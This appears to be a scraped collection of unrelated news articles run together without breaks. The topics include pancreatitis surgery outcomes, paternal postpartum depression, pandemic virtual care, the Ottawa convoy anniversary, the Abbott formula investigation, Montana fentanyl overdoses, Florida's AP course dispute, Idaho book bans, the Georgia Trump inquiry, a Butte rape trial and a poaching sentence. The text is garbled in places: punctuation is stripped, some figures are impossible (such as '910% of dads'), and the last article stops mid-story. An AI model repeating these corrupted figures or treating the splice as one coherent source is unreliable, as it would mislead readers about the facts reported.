"After surgical intervention, we, as surgeons, expect that we return these patients back to their normal lives," said lead study author Gregory C. Wilson, MD, an assistant professor of surgery at the University of Cincinnati College of Medicine. "In this study, we have long-term follow-up examining survival and cause of death in these patients well after that surgical period, and what we see is that survival continues to decline even five years out from surgery."

Ten-year survival was just 63.5%, "so there's a large portion of these patients who are dying within 10 years of this operation," Dr. Wilson said. The median age of the study patients was 44.8 years.

The study included 555 operations for chronic pancreatitis performed on 493 patients at the University of Cincinnati Medical Center between 2000 and 2020, representing the largest study to date evaluating long-term survival in patients who have had surgery for chronic pancreatitis, according to the authors.

The pancreas is a major organ in the abdomen that produces digestive enzymes, as well as insulin and glucagon, to regulate the body's metabolism. Chronic pancreatitis is a benign disease that causes inflammation of the pancreas. The disease is often first treated with medication or less invasive procedures, but as many as 40% of patients may need surgery when medical treatment fails, Dr. Wilson said.

Key findings

Using the National Death Index, the researchers assessed the long-term survival and outcomes of patients who had surgery to treat chronic pancreatitis. Researchers evaluated long-term survival rates and outcomes from 493 patients who underwent 555 operations for chronic pancreatitis at the University of Cincinnati Medical Center between 2000 and 2020. They found a high (95.5%) 1-year survival rate among patients but a much lower (63.5%) 10-year survival rate. Pancreatitis caused by alcohol use and/or smoking, along with persistent smoking and opioid use after surgery, was associated with worse outcomes, pointing to a need for closer monitoring after surgery. Credit: American College of Surgeons.

The operations the study surgeons performed included:

Total pancreatectomy in 48.5%, with the vast majority also receiving a cell infusion technique.

Pancreatic head resection with preservation of the duodenum, which is the topmost part of the small intestine, in 21.7%.

Whipple procedure, which involves removal of the pancreatic head along with the duodenum, gallbladder, and bile duct, in 16.2%.

Distal pancreatectomy, which involves removal of the body and head of the pancreas and, in some cases, the spleen, in 12.8%.

Twelve percent of all patients needed a second operation at a median of 20.6 months and less than 1% required a third operation. The incidence of death within 30 days (1.2%, or 6 patients) and 90 days (2.3%, or 11 patients) of surgery was considered low. But the researchers noted significant psychosocial issues with these patients after their recovery from surgery.

"We saw issues related to substance abuse, narcotics abuse, suicide, and end-stage liver disease," Dr. Wilson said.

With follow-up ranging from 26 to 118 months (with a median of 64.5 months), 38.1% were still smoking, 16.4% were abusing alcohol, and 29.6% were using opioids daily as of their last follow-up visit.

Chronic pancreatitis that was due to alcohol or smoking, along with persistent smoking and opioid use after surgery, were also all factors associated with worse overall survival, the study found.

Overall, 165 study patients died at a median age of 50.6 years. The most common cause of death was infections (16.4%), followed by cardiovascular disease (12.7%), complications of diabetes (10.9%), substance abuse (9.7%), and progressive chronic pancreatitis or failure to thrive (7.9%). Other notable causes of death were cancer (7.3%) and suicide (3.6%). Suicide also represented the earliest cause of death, with a median of less than 2 years after surgery.

"There's more than just surgery in the care of these patients," Dr. Wilson said. "There's a second part to all of this and the study highlights some of these findings that are important, such as the diabetic-related causes of death, cardiovascular disease, even some of the cancers that show up."

"Additionally, the psychosocial aspect, continued narcotic dependence, and substance abuse are things that we need to consider and address once these patients have recovered from their initial operation," he added.

To that end, Dr. Wilson and his colleagues are working with the University of Cincinnati's Center for Addiction Research to design an intervention to address substance abuse in patients after surgery for chronic pancreatitis.

"The care of these patients is multidisciplinary," he added. "We need physicians and care providers from all different disciplines, not just surgery, caring for these patients."
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Credit: Pixabay/CC0 Public Domain

Dads are more likely to feel depressed when their kids are toddlers if their coparenting relationships are poor in the months after birth, a new study by researchers at Karolinska Institutet in Sweden shows. The findings are published in the Journal of Affective Disorders.

"We have a lot to gain as a society if we support coparenting relationships more during the early stages of parenthood," says Michael Wells, associate professor at the Department of Women's and Children's Health, Karolinska Institutet. "One way to do that is to screen fathers for their coparenting status during infancy and toddlerhood and to offer interventions aimed at improving collaboration and communication around the child if needed."

About 910% of dads experience postpartum depression, which is high compared with the overall population. Children who grow up with depressed dads are also at a higher risk of mental, emotional, and behavioral problems in their youth, according to prior research. By identifying modifiable factors that reduce the risk of depression in dads, researchers hope to develop interventions that can prevent mental illness in both parents and children.

More than 400 dads studied

In the current study, 429 fathers of infants up to two years old in Sweden were recruited on Facebook. The participants were asked to complete questionnaires where they ranked symptoms of depression and the nature of their coparenting relationships. Data were collected at three time points when the children were on average 8, 13, and 26 months old. About 20% of dads reported symptoms of depression at some point during the study.

According to the findings, two-thirds of fathers with exceptionally poor coparenting relationships during the first year after birth are likely to have symptoms of depression when their children become toddlers. Conversely, fathers with higher coparenting scores are more likely to have fewer symptoms of depression. The researchers also found associations between depression at earlier stages and worse coparenting relationships later on.

"We found bidirectional associations between depression and poor coparenting, meaning these two factors seem to influence each other in both directions. However, the strongest predictor for the development of depression was a poor coparenting relationship in the early stages of childhood, as compared to the other way around," Michael Wells says.

Screening the coparenting relationship

In Sweden, fathers are currently screened for symptoms of depression three to five months after birth while mothers are screened when the baby is six to eight weeks old. According to the researchers, an effective depression prevention strategy could be to complement with additional screening and support regarding the coparenting relationship.

The study has some limitations. For example, the participants had higher incomes and more symptoms of at least mild depression than the average Swedish population.

The researchers note that the study only looked at the experience of those who self-identified as fathers and therefore it is unclear if the results would generalize to other parents.

What is a coparenting relationship?

A coparenting relationship differs from an intimate relationship in that it focuses more on the collaboration between the parents around the child.

It typically covers four areas: (1) agreement or disagreement on how to raise the child, (2) support or undermining of the other's parental abilities, (3) collaboration around joint family standards, and (4) division of childrearing labor.

More information: Michael B. Wells et al, Bidirectional associations between paternal postpartum depression symptoms and coparenting: A cross-lagged panel model of fathers of infants and toddlers, Journal of Affective Disorders (2023). DOI: 10.1016/j.jad.2022.12.128 Journal information: Journal of Affective Disorders
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Mean Number of Weekly Visits for London and Middlesex County, Ontario Family Physicians Before and During the COVID-19 Pandemic. (Pre-pandemic defined as 12 months prior to March 14, 2020, Early 1st Wave defined as March 14May 10, 2020, Mid-Late 1st Wave defined as May 11September 17, 2020, Early 2nd Wave defined as September 18October 31, 2020). Credit: BMC Primary Care (2022). DOI: 10.1186/s12875-022-01902-9

New research from Schulich School of Medicine & Dentistry, Lawson Health Research Institute and ICES Western shows the move from in-person to virtual primary health care removed barriers for patients during the COVID-19 pandemic.

Specifically, the shift to virtual care helped patients who rely on public transportation and those who have difficulty taking time off work to access health care. The research also revealed that during the pandemic waves, family physicians saw a greater proportion of patients with high needs, such as those 65 years and older and those with multimorbidity (two or more chronic conditions).

The study, recently published in BMC Primary Care, was led by Dr. Bridget Ryan, assistant professor in the Center for Studies in Family Medicine, the department of family medicine and the department of epidemiology & biostatistics at Schulich Medicine & Dentistry.

"It was encouraging to see quantitatively that patients seen during the early pandemic were on average older, with a higher percentage having multimorbidity, and more likely to be materially deprived; in other words, patients with high need," said Ryan, also an associate scientist at Lawson and an adjunct scientist at ICES.

All physicians interviewed for the study reported that virtual care improved access for many of their patients. "In our interviews, family physicians told us how young moms with kids didn't have to take three buses to get to their office or how truck drivers traveling to the U.S. could do virtual visits for their diabetes with the family doctor from their cab," said Ryan.

In contrast, family physicians who care for highly vulnerable patients, such as those experiencing homelessness, cautioned that virtual care was a challenge for those without access to telephones. Virtual care was also difficult for patients and family physicians in rural areas with limited access to reliable high-speed internet.

The studywhich included both interviews and quantitative analysiswas done in London, Ont. and Middlesex County. Through interviews and ICES data, the research team examined the rapid uptake and delivery of virtual care during the first and second waves of the pandemic from March to October 2020.

The volume of in-person visits dropped more than 72% in the two weeks following March 14, 2020, driven by concerns for patient and staff safety, and an initial shortage of personal protective equipment (PPE) in family physician offices. During the same period, virtual visits made up more than 56% of total visits. By June 15 of that year, the number of in-person visits overtook virtual visits and by October 2020, overall family physician visit volumes had returned to pre-pandemic levels.

The study also revealed the inequity of different physician compensation models in Ontario. Physicians who were in capitation models received basic payments from the provincial government regardless of the overall decrease in total visits, while physicians in a fee-for-service model were paid only when they had an encounter with a patient and were more greatly affected by the initial overall drop. A delay in the Ontario government being able to accept virtual visit fee codes submitted through OHIP, meant that fee-for-service physicians experienced an almost two-month delay in receiving compensation for virtual care.

The move to virtual care has been seen in other Canadian jurisdictions and internationally in areas such as Australia, U.S., China, Norway, Singapore, South Korea, Sweden and U.K.

"Our study found the move to virtual care during the pandemic was primarily a move to telephone care rather than to video appointments; this highlighted for us that, when looking at the future of virtual care, we must consider the method of care delivery that is acceptable to both physicians and patients," said Ryan.

Current work is focusing on the future of virtual family physician care as the health sector emerges from the pandemic.

More information: Bridget L. Ryan et al, Virtual family physician care during COVID-19: a mixed methods study using health administrative data and qualitative interviews, BMC Primary Care (2022). DOI: 10.1186/s12875-022-01902-9
Photo: The Canadian Press Ottawa's Chief of Police Eric Stubbs says resources, logistics, traffic, towing and staffing plans are in place ahead of potential protests this weekend. Then RCMP Assistant Commissioner Eric Stubbs, speaks in Surrey, B.C., on Wednesday February 5, 2020. THE CANADIAN PRESS/Darryl Dyck

Ottawa police Chief Eric Stubbs says resources, tow trucks and staffing plans are in place as the city prepares to mark the one-year anniversary of the start of the "Freedom Convoy."

On Jan. 28 and 29, 2022, thousands of people gathered on streets in front of Parliament Hill with trucks and big rigs, protesting COVID-19 restrictions and the Liberal government.

Ottawa police say they are ready for the possibility that the one-year anniversary of the start of the protest could spark another one, but Stubbs would not reveal details of what police believe is planned or how many demonstrators are expected.

The noisy and disruptive protests a year ago lasted more than three weeks, and Wellington Street in front of Parliament Hill has remained closed to traffic ever since.

City council is set to decide on whether to reopen the street on Thursday, and while the police chief says he supports reopening he also says issues need to be addressed before that happens.

Stubbs says he will be updating the police services board about the force's plans for the weekend at their meeting Monday afternoon.
MONDAY, Jan. 23, 2023 (HealthDay News) -- Trouble continues for Abbott Laboratories, which shut down an infant formula plant last year amid reported illnesses. The U.S. Department of Justice is now investigating the company, though Abbott did not say specifically what the investigation is covering, NBC News reported.

"DOJ has informed us of its investigation and we're cooperating fully," an Abbott spokesperson said in a statement. The DOJ has declined to comment, NBC News reported.

In February 2022, an Abbott plant in Sturgis, Michigan, was shut down after reports that four infants who had consumed formula made at the plant became ill. Two of the infants died. The cause was a rare bacteria, Cronobacter sakazakii. An investigation did not find the source of the bacteria.

Abbott has said there was no genetic match between the infants who became ill and the formula, citing internal testing, NBC News reported. The company also said it had not found the bacteria in any of its products. Federal investigators could not definitively identify the source of the bacteria either. During the Abbott plant shutdown, the country faced a shortage of infant formula before Similac, Alimentum, and EleCare production restarted in June.

Abbott worked with the U.S. Food and Drug Administration to bring its facility into compliance. The FDA said at that time, "the government alleges that powdered infant formula products manufactured at Abbott Nutrition's Sturgis facility were adulterated because they were made under insanitary conditions and in violation of current good manufacturing practice requirements."

Abbott Labs previously said that it "continue[s] to enhance our manufacturing and quality processes to ensure that our products remain free of Cronobacter sakazakii" and had "already begun implementing corrective actions and enhancements at the facility," NBC News reported.
If you want to have a Grand Slam breakfast, you'll have to drive to Great Falls  Missoula's Denny's restaurant is no more.

Or you can go west to Coeur d'Alene, which has two Denny's. But Missoula's own Denny's, at 2922 Brooks Street across from Southgate Mall, is "permanently closed," according to a handwritten sign posted on the door Sunday.

"Thank you to the community of Missoula," the sign read. The business' page on Google also says that the restaurant, part of a long-running global diner chain, is permanently closed. By Monday afternoon, the handwritten sign was replaced with an official sign announcing the closure.

A phone call to the Missoula Denny's went unanswered on Monday. The Missoulian also reached out to Spartanburg, South Carolina-based Denny's Corporation seeking comment.

Although many of Denny's 1,700-plus locations are open 24 hours a day, the Missoula restaurant was open 6 a.m. to 10 p.m., according to Denny's website. A Facebook page for the Missoula location was updated as recently as Dec. 22, 2022, advertising that the store would be open on Christmas. But on Monday the page indicated the store is permanently closed.
Eight people have died and 28 more are suspected to have overdosed from fentanyl in Montana since Jan. 11, according to Montana officials.

Authorities report a recent spike in fentanyl overdoses around the state, according to an alert this week from the Montana Division of Criminal Investigation shared by local law enforcement agencies.

The eight deaths were part of 36 total overdoses, and many of the people told officials they had taken fentanyl before their overdose. Overdoses happened in counties scattered across Montana, including Missoula, Lake, Flathead and Ravalli.

On Tuesday, Montana Department of Justice Spokesperson Emilee Cantrell said officials initially reported five fatalities, but as of Jan. 20, that number had increased to eight. There were 28 non-fatal suspected fentanyl overdoses in the same period.

The deaths happened in Choteau, Custer, Missoula, Sheridan, Silver Bow and Yellowstone counties. Two deaths happened in Lewis and Clark County, Cantrell said.

Fentanyl is a synthetic, fast-acting opioid that is 50-100 times more potent than morphine. It is approved for treatment for some medical conditions. However, the opioid recently has been artificially manufactured and sold across the U.S., according to the Centers for Disease Controls website.

The alert from the DCI stated that fentanyl can be absorbed through skin contact, which is corroborated in part by the CDC.

Toxicology expert Daniel Colby said in a 2022 interview with UC Davis Health that fentanyl cant be absorbed through the skin via casual exposure, like touching money or a door handle.

The one case in which fentanyl can be absorbed through the skin is with a special doctor-prescribed fentanyl skin patch, and even then, it takes hours of exposure, Colby said.

According to the National Harm Reduction Coalition, overdoses cant happen from touching powdered fentanyl, but rather require absorption into the bloodstream or mucous membrane.

The DCIs alert urged people not to touch unknown pills or substances without personal protective equipment.

Fentanyl pills are the most common form of the synthetic opioid in Montana, according to the alert. Montana authorities have recently seized what they call rainbow fentanyl. The multi-colored pills have an M 30 stamp pressed into them. Fentanyl pills can also be a solid light blue color, also with an M 30 impression.

Fentanyl overdoses can be combated with Naloxone, commonly found in the form of a nasal spray called NARCAN.

People are encouraged to immediately call 911 if they think theyve ingested fentanyl or are experiencing an overdose. The National Harm Reduction Coalitions website also includes resources on how to find Naloxone nearby.
FORT LAUDERDALE, Fla.  Florida Gov. Ron DeSantis reiterated Monday the state's rejection of a proposed nationwide advanced African American studies course, saying it pushes a political agenda  something three authors cited in the state's criticism accused him of doing in return.

DeSantis said his administration rejected the College Board's Advanced Placement African American Studies course because "we want education, not indoctrination." It was revealed last week that the Florida Department of Education recently told the College Board it would bar the course unless changes are made.

The state then issued a chart late Friday that says the course promotes the idea that modern American society oppresses Black people, other minorities and women, includes a chapter on "Black Queer Studies" that the administration finds inappropriate, and uses articles by critics of capitalism.

The governor said the course violates legislation dubbed the Stop WOKE Act he signed last year. It bars instruction that defines people as necessarily oppressed or privileged based on their race. At least some writers the course cites believe modern U.S. society endorses white supremacy while oppressing racial minorities, gays and women.

Florida House Democratic Leader Fentrice Driskell called the administration's rejection of the course "cowardly" and said it "sends a clear message that Black Americans' history does not count in Florida."

"Imagine how boring and closed minded we'd all be if we only met ideas that we agreed with," she said Monday.

The College Board, after a decade of development, is testing the African American Studies course at 60 high schools nationwide. No school or state would be required to offer it after its scheduled rollout.

The organization offers AP courses across the academic spectrum, including math, science, social studies, foreign languages and fine arts. Taught at a college level, students who score high enough on the course's final exam usually earn course credit at their university.

The College Board hasn't responded to emails and calls since Friday. It issued a statement last week saying it encourages feedback and will consider changes.

The state, in its Friday chart, criticized five living authors. The Associated Press emailed them and three responded.

The section on "Black Queer Studies" includes readings by Roderick Ferguson, a Yale University professor of women's, gender and sexuality studies. The state says he "exclaims, 'We have to encourage and develop practices whereby queerness isn't a surrender to the status quo of race, class, gender and sexuality.'"

Ferguson said that quote comes from an interview he did about his book, "One-Dimensional Queer." The book, he said, is a discussion of "employment discrimination, laws against LGBTQ+ people, the suppression of progressive movements in the U.S., police violence against minority communities, restrictions on immigration (and) anti-black racism."

"These are real histories. The arguments about them are based on scholarly investigation and research  as are the arguments from the other scholars on this list," Ferguson said. "Unfortunately, we are in a moment in which right-wing forces are mobilizing to suppress the free discussion of those realities. If we need an example of that mobilization, we could probably just turn to the forces that came together to reject this course."

The state calls out the course for including "Black Study, Black Struggle," a 2016 piece by UCLA history professor Robin D.G. Kelley, saying he "argues that activism, rather than the university system, is the catalyst for social transformation." Kelley called that description oversimplified.

His piece challenges student activists to move their efforts beyond campus and decries racism, inequality, capitalism, militarism and police brutality. But he also said activists must love everyone, "even those who may once have been our oppressors," and read and understand Western literature if they are to criticize it.

The state also points to Kelley's 1990 book "Hammer and Hoe," a history of communism in Alabama during the Great Depression of the 1930s.

"It won several awards and accolades, including from a few conservative anti-Communist historians, because it is based on thorough research  something DeSantis's people are not familiar with," Kelley said.

The state criticized the inclusion of a section about "Movement for Black Lives," a coalition of more than 50 groups including Black Lives Matter and the National Conference of Black Lawyers. It says the group wants to abolish prisons and that it alleges there is a "war" against gay and transsexual Black people.

The state criticizes the section's inclusion of a reading by Leslie Kay Jones, an assistant sociology professor at Rutgers University. It cites her quote, "Black people produce an unquantifiable amount of content for the same social media corporations that reproduce the white supremacist superstructure that suppresses us."

Jones said she found no indication that the Movement for Black Lives has ever advocated for prison abolition. She is surprised DeSantis' staff attacked her for criticizing social media companies, as he does the same.

She said this is why students should have the ability "to come to their own conclusions through an evaluation of primary and secondary texts."

"Is Ron DeSantis claiming that Florida students are unable to formulate their own opinions?" she said.
A former GOP lawmaker backing changes to Montanas citizen-led ballot initiative process likened new requirements added in 2021 to illegal barnacles on a ship, and said it helped special interest groups who torpedoed his attempt to slash property taxes last year.

Im politely warning the committee that if HB 651 is not repealed, there will be multiple lawsuits, Matthew Monforton warned the Senate State Administration Committee on Monday. You will lose them, and you will deserve to lose them.

The Bozeman attorney was referring to the 2021 law adding new steps in the process to get a citizen initiative qualified to appear on the ballot.

Citizen-proposed ballot initiatives must reach a certain threshold of voter signatures before they can appear on the ballot. The 2021 law requires those initiative petitions to first go before a legislative interim committee for review and a vote before they can go out for signature-collecting. The attorney generals office also gets an opportunity to weigh in, deciding whether they would be bad for business and whether they might be unconstitutional.

Previously, only the AG had a role, and that was limited to whether the initiative complied with requirements that it not consist of multiple initiatives or exceed a designated word count.

In written testimony, retired Supreme Court Justice Jim Nelson also issued a scathing critique of the new ballot initiative requirements. Like other proponents, he noted that the Montana Constitution empowers citizens to govern themselves and exercise that power through direct democracy, through the ability to amend their constitution.

A constitutional right is worth nothing, Nelson wrote, when the Legislature and the governor can make the exercise of that right so complicated and difficult that it becomes not worth the effort.

Monforton was closely involved in the attempt last year to get Constitutional Initiative 121 added onto the ballot. The controversial proposal would have capped residential property taxes, but a broad, bipartisan coalition of opponents argued that would amount to tax-shifts that would unfairly burden businesses, agriculture and local governments.

That coalition spent hundreds of millions of dollars to keep it off the ballot, but Monforton also pinned their success on the newly enacted stumbling blocks the proposal encountered, with the committee delaying action and pushing back the timeline for signature-gathering to begin. Other bill proponents included those who had attempted to get statutory initiatives on the ballot.

The Montana Chamber of Commerce donated heavily to the campaign to defeat the initiative, and Charles Robison, a lobbyist for the Chamber, was among the bills opponents.

I would submit that there were no (statutory) initiatives on the ballot because not enough signatures were gathered, he said.

He and other opponents suggested the new procedures added transparency to the process, allowing for a more in-depth examination of what a ballot proposal would do if enacted. On the property-tax initiative in particular, the committees held lengthy hearings discussing an array of potential ripple effects from the proposed changes to the states tax structure.

Neither the Legislature through the opinion that you issue, nor the Attorney Generals opinion precludes a measure from being put on the ballot, said Darryl James, the director of the Montana Infrastructure Coalition, which also opposed the property-tax proposal. It merely informs your constituents about your position and the states attorneys position.

Sen. Brad Molnar, R-Laurel, is sponsoring the proposed repeal, Senate Bill 153. The committee didnt take any immediate action on the bill.
Some people have become so alarmed by what children might read in school or in libraries that they want books they dont like removed  immediately. The targeted books include scenes of sexual awakening, gender identity, racism or violence.

But why arent these alarmists focusing on a book thats chock-full of incest, rape and gore? Im talking, of course, about the Bible.

In Genesis 19:30-36, Lots daughters get him drunk in a cave and his eldest daughter has incestuous sex with him. Judges 12 tells how an angry mob surrounds a Levite and his concubine, so he appeases them by handing over his companion. What happens next to the sacrificed woman is too gory for me to describe.

Yet the Bible hasnt been a target of book banners; moreover, some zealots attack books theyve never read. They just have a list.

People on the warpath about dangerous books started urging libraries and schools to ban books they found objectionable in 2021. That discontent bubbled to the surface during COVID-caused school shutdowns and has now erupted into a culture war.

In Idaho, where I live, book banners have targeted the states three largest cities of Boise, Meridian and Nampa, all in the Treasure Valley in southwest Idaho.

So far, only Nampa has succumbed to the pressure. Oddly, the book tossing was started by just one woman, Tosha Sweeney, who emailed the Nampa school board to demand that it remove 24 pornographic books that sex offenders might use to plan their attacks.

To bolster her demand, she cited section 18-1515 of Idaho law, which says a person is guilty of disseminating material harmful to minors when they knowingly loan material with detailed sexual descriptions to underage children. The 24 books she cited were all young adult books, and parental consent was already required before they could be checked out.

In a city as big as Nampa, with over 100,000 residents, youd think one persons demands would at least require a hearing before action is taken, yet the school board removed all 24 books forever. As it turned out, only 23 books were taken off the shelves because one young adult book on the list had never been bought.

There was no formal review, infuriating some parents who championed free speech and free choice. A month later, they joined students and teachers outside the Nampa school district offices to protest the bans.

Laura Delaney, who owns Rediscovered Books in nearby Boise, fought back against censorship by giving away 1,500 of the banned books  donated by concerned citizens  to Nampa students and teachers.

"These books are written because authors are trying to figure out the world, and having them share their wisdom with people of all generations and backgrounds makes a difference," Delaney told reporters.

Then the Idaho state Legislature jumped on the controversy. Last year, House Republicans passed HB666 to hold librarians criminally liable for distributing material considered harmful to minors.

I would rather my 6-year-old grandson start smoking cigarettes tomorrow than get a view of this stuff at the public library or anywhere else, said Rep. Bruce Skaug, R-Nampa.

A misdemeanor conviction for disseminating harmful materials includes up to one year in jail and a $1,000 fine. Many librarians found the law terrifying; some quit their jobs or changed careers.

The Idaho library community has lost some good people due to the conflicts centered mostly around book challenges, state librarian Stephanie Bailey-White told me.

Thankfully, Idahos Senate refused to give the anti-librarian bill a hearing. But lawmakers found another way to punish libraries: They cut $3.8 million from this fiscal years original $11.5 million budget for the Commission for Libraries.

Idahos library budget cuts have now made it harder for libraries to stock new books and expand telehealth services for seniors and rural residents. Lawmakers also defunded a statewide e-book program managed by the Idaho Commission for Libraries.

Book banning campaigns arent new in America, but last year the American Library Association said that library staff faced an unprecedented number of attempts to ban books.

The organization said the books most targeted were those about Black or LGBTQIA people. The Bible was not on anyones list.
It started with a telephone call.

Shortly after Donald Trump's extraordinary Jan. 2, 2021 conversation with Georgia Secretary of State Brad Raffensperger went viral, Atlanta-area District Attorney Fani Willis launched a far-reaching criminal investigation into interference in the 2020 election that now stands at a crucial inflection point.

Here is what we know:

Big hearing: On Tuesday, a Fulton County Georgia judge is set to consider whether the findings of a special grand jury's months-long investigation, including any recommendations related to the possible prosecution of the former president and his allies, should be made public.

Imminent threat to Trump : Analysts have characterized the inquiry as perhaps the most serious legal threat facing the former president.

Top Trump aides in crosshairs: Trump attorney Rudy Giuliani, designated as a target in the inquiry, headlined a list of former aides and allies of the former president summoned to testify before the panel.

Trump lawyers won't take part: Trump lawyers won't appear at Georgia hearing where judge will consider release of report

Georgia special grand jury ends probe: Georgia special grand jury wraps up investigation of Trump, allies

Fulton County District Attorney Fani Willis, right, talks with a member of her team in May.

Trump call to Raffensperger led to wider investigation

While the inquiry started with Trump's call to Raffensperger, in which the former president urged Georgia's top election official to "find 11,780 votes" to tilt the 2020 statewide election in his favor, the inquiry has since expanded to include a wide-ranging examination of election fraud.

Specifically, Willis has said authorities have been investigating possible election fraud, conspiracy, oath of office violations, racketeering and election-related violence.

In addition to Guiliani, prosecutors have designated nearly two-dozen others, including a group of Republican electors who falsely certified that Trump had won the election, as potential targets.

What we know: Charging decisions on Trump now loom large in Georgia after grand jury completes its work

Story continues

Witnesses include Trump allies Lindsey Graham, Michael Flynn and John Eastman

Sen. Lindsey Graham, R-S.C., speaks during a news conference in September.

The list of grand jury witnesses included current and former public officials, many who have been part of Trump's inner-circle.

Among them:

Sen. Lindsey Graham, R-S.C., who was summoned for questions about his contacts with Georgia election officials.

Former Trump national security adviser Michael Flynn, a vocal proponent of false claims of election fraud

Trump lawyer John Eastman, who helped develop Trumps strategy to overturn Biden's presidential election victory.

Other prominent witnesses have included Raffensperger and Georgia Gov. Brian Kemp, both of whom resisted Trump's pressure campaign to overturn Biden's statewide victory.

The Jan. 6 no-shows: Jan. 6 committee never got McCarthy, key Trump aides to testify. Here's who they are.

Jan. 6 Capitol attack 2 years later: Trump still plagued by multiple investigations

What to expect Tuesday

Fulton County Superior Court Judge Robert McBurney

Special grand juries, like the one seated in the election inquiry, do not have authority to make charging decisions. Instead, the panel issues a report and recommendations to the district attorney for action.

Fulton County Superior Court Judge Robert McBurney, who disclosed last week that the jury had completed its work and forwarded its report, also indicated the panel had "voted to recommend that its report be published."

The hearing will determine whether there any objections or other considerations to weigh before taking action.

The hearing could result in the full release of the report and the panel's recommendations, a partial disclosure or a decision to withhold the document pending any decision on prosecution.

Trump's Georgia lawyers said Monday that they will not take part in the session.

"To date, we have never been a part of this process," attorneys Drew Findling and Marissa Goldberg said in a written statement, adding they believed the former president would not be charged.

Meet Fani Willis: The DA who could charge Trump

What could Fani Willis do?

Willis is not obligated to act on the grand jury's recommendations. If she does elect to proceed, the prosecutor would likely present a case to one of the county's two regular grand juries to seek indictments.

The district attorney had expected to make decisions on possible charges before the end of 2022, but a number of legal challenges pressed by key grand jury witnesses pushed late into the year.

A Brookings Institution analysis of the Willis investigation, co-authored by Norm Eisen, a special counsel to the House Judiciary Committee during Trump's first impeachment, concluded that the inquiry represents perhaps the most serious threat to Trump.

"We conclude that Trump is at substantial risk of criminal prosecution in Fulton County (Georgia)," the report found.

Trump's legal troubles: 'Not above the law': Why Trump's decision to run for president won't change his legal woes

This article originally appeared on USA TODAY: Trump Georgia investigation: Judge to consider release of report
The alleged victim in a rape trial testified Monday that a Butte man  who was 45 years old at the time  knew she was 15 years old when he picked her and a friend up on a Butte street after a house party, gave her alcohol and had sex with her without her consent.

Prosecutor Ann Shea said in her opening statements that Jay Dee Davisson is guilty of rape because the legal age of consent in Montana is 16 and because the victim was physically helpless and incapacitated at the time of intercourse because she was drunk.

The Montana Standard is not naming the alleged victim to protect potential victims of sexual assault.

Jack Morris, Davisson's defense attorney, said in opening statements that the victim was 15 years and 348 days old on Aug. 2, 2020, when the alleged rape took place.

He also said the victim led Davisson to believe she was 20 years old at the time because she told him that and because she was out late at night with her 20-year-old friend.

Morris also cited a toxicology report done on the alleged victim approximately 13 hours after she allegedly drank that showed no alcohol in her blood and urine, and told the jury of three women and nine men, She made up this whole thing about drinking.

The alleged victim said she went to a party on Park Street with two friends and left with one around 3 a.m. on Aug. 2. The two ran into Davisson, who she said picked them up in his car and drove them to the Flying J gas station in Rocker.

The friend, she said, knew Davisson because she was his daughters best friend.

After using the restroom at the gas station, the three got back in the car and Davisson offered her a bottle of R&R whiskey, according to the victim. She said she took a couple of drinks and the last thing she remembers is her friend pulling her onto her lap.

At 1 or 2 p.m., she woke up in the Red Lion Hotel in Rocker wearing a mens black shirt that wasnt hers without underwear or pants on, and she couldnt find her phone. She found a note Davisson wrote her with $30 for a cab, and a tooth brush.

She found her pants and shoes and took a cab that a Red Lion employee called for her. She was eventually taken to St. James Healthcare by her best friends mother, where she got a rape kit done and a blood and urine test.

The victim said shed met Davisson one other time, on July 27, 2020, when she, the friend she walked home from a party with and another friend  who was 15 at the time  went to his room at the Red Lion so he could buy them alcohol.

The friend who was 15 at the time confirmed in testimony Monday that she told police shortly after the alleged rape that she and the victim told Davisson they were 15 when they met him on July 27.

Others who testified Monday included the former Red Lion general manager who called the victim a cab, the nurse who administered the rape kit, the best friends mother who took the victim to the hospital and the forensic toxicology supervisor at the Montana Forensic Science Division, Elizabeth Smalley.

Smalley testified that marijuana and methamphetamine were detected in the victims urine from the samples she gave at the hospital Aug. 2, but alcohol wasnt. The toxicology report was also negative for all the drugs the Montana State Crime Lab tests for that are used as date rape drugs.

She said that given what she was told, she wouldve expected to find some alcohol in the victims urine. Smalley also said the fact the test was negative for alcohol cant definitively discount that the victim consumed alcohol 13 hours before, because a variety of factors determine how quickly alcohol leaves the system.

The victim said that while she did drink alcohol and smoke marijuana, she didnt ingest methamphetamine on or around Aug. 2.

District Judge Robert Whelan is presiding over the trial.
A celebrity bowhunting couple have been sentenced in federal court in Omaha, Nebraska, for conspiring to violate the Lacey Act, which prohibits the trafficking of wildlife.

The case against Josh Bowmar, 32, Sarah Bowmar, 33, and Bowmar Bowhunting LLC of Ankeny, Iowa, was related to the largest known case of poaching in Nebraska.

The Bowmars pleaded guilty last year in the U.S. District Court of Nebraska to a misdemeanor conspiracy charge. In exchange, four other more serious charges, mostly involving allegations of illegally baited hunting sites, were dropped.

On Thursday, United States Magistrate Judge Michael D. Nelson sentenced them each to three years of probation and 40 hours of community service.

Nelson also ordered the Bowmars to pay a $75,000 fine ($25,000 each for each of the Bowmars and the business), a $44,000 money judgment in lieu of forfeiting certain property, and $13,000 restitution.

As part of probation, the Bowmars are banned from hunting or engaging in any activities associated with hunting within Nebraska during the period of probation.

In a press release, United States Attorney Steven Russell said beginning in September 2015 and continuing through November 2017, the Bowmars conducted about five hunts per year at Hidden Hills Outfitters, a commercial big game guiding and outfitting business near Broken Bow.

During commercially guided hunting activity, the Bowmars conspired to transport wildlife, or parts of it, from Nebraska to Ohio, when they should have known it was against state law, Russell said.

The Bowmars, using the internet and social media platforms including their Bowmar Bowhunting website, Instagram page and YouTube channel, broadcasted hunting activities that occurred at Hidden Hills.

"This sentencing hearing marks the completion of all foreseen prosecutions of numerous defendants related to violations committed by owners, guides, and clients of Hidden Hills Outfitters," Russell said in a press release.

In all, 39 people were convicted and more than $750,000 in fines, restitution and forfeitures have been collected in the yearslong case involving Hidden Hills Outfitters.

An additional 13 individuals resolved their cases through administrative abandonment of various wildlife trophies originating from unlawful hunts at Hidden Hills Outfitters.

The underlying violations related to at least 97 unlawfully-taken big game animals or wild turkey, including deer taken within baited areas; deer, pronghorn, and wild turkeys taken with weapons or firearms prohibited during their respective hunting seasons; deer taken during closed season hours from the road, or without a valid permit; and mule deer taken within the Mule Deer Conservation Area.

The operation was a joint investigation by the United States Fish and Wildlife Service, Office of Law Enforcement and the Law Enforcement Division of the Nebraska Game and Parks Commission.
Photo: pixabay

A life insurance agency operating five offices in B.C. has been sanctioned by Ontarios financial regulator for potentially deceptive sales tactics.

Greatway Financial Inc. agents can be located in offices in Abbotsford, Kelowna, Surrey, Burnaby and Victoria. While their counterparts in Ontario face compelled retraining, no such orders have been made in B.C.

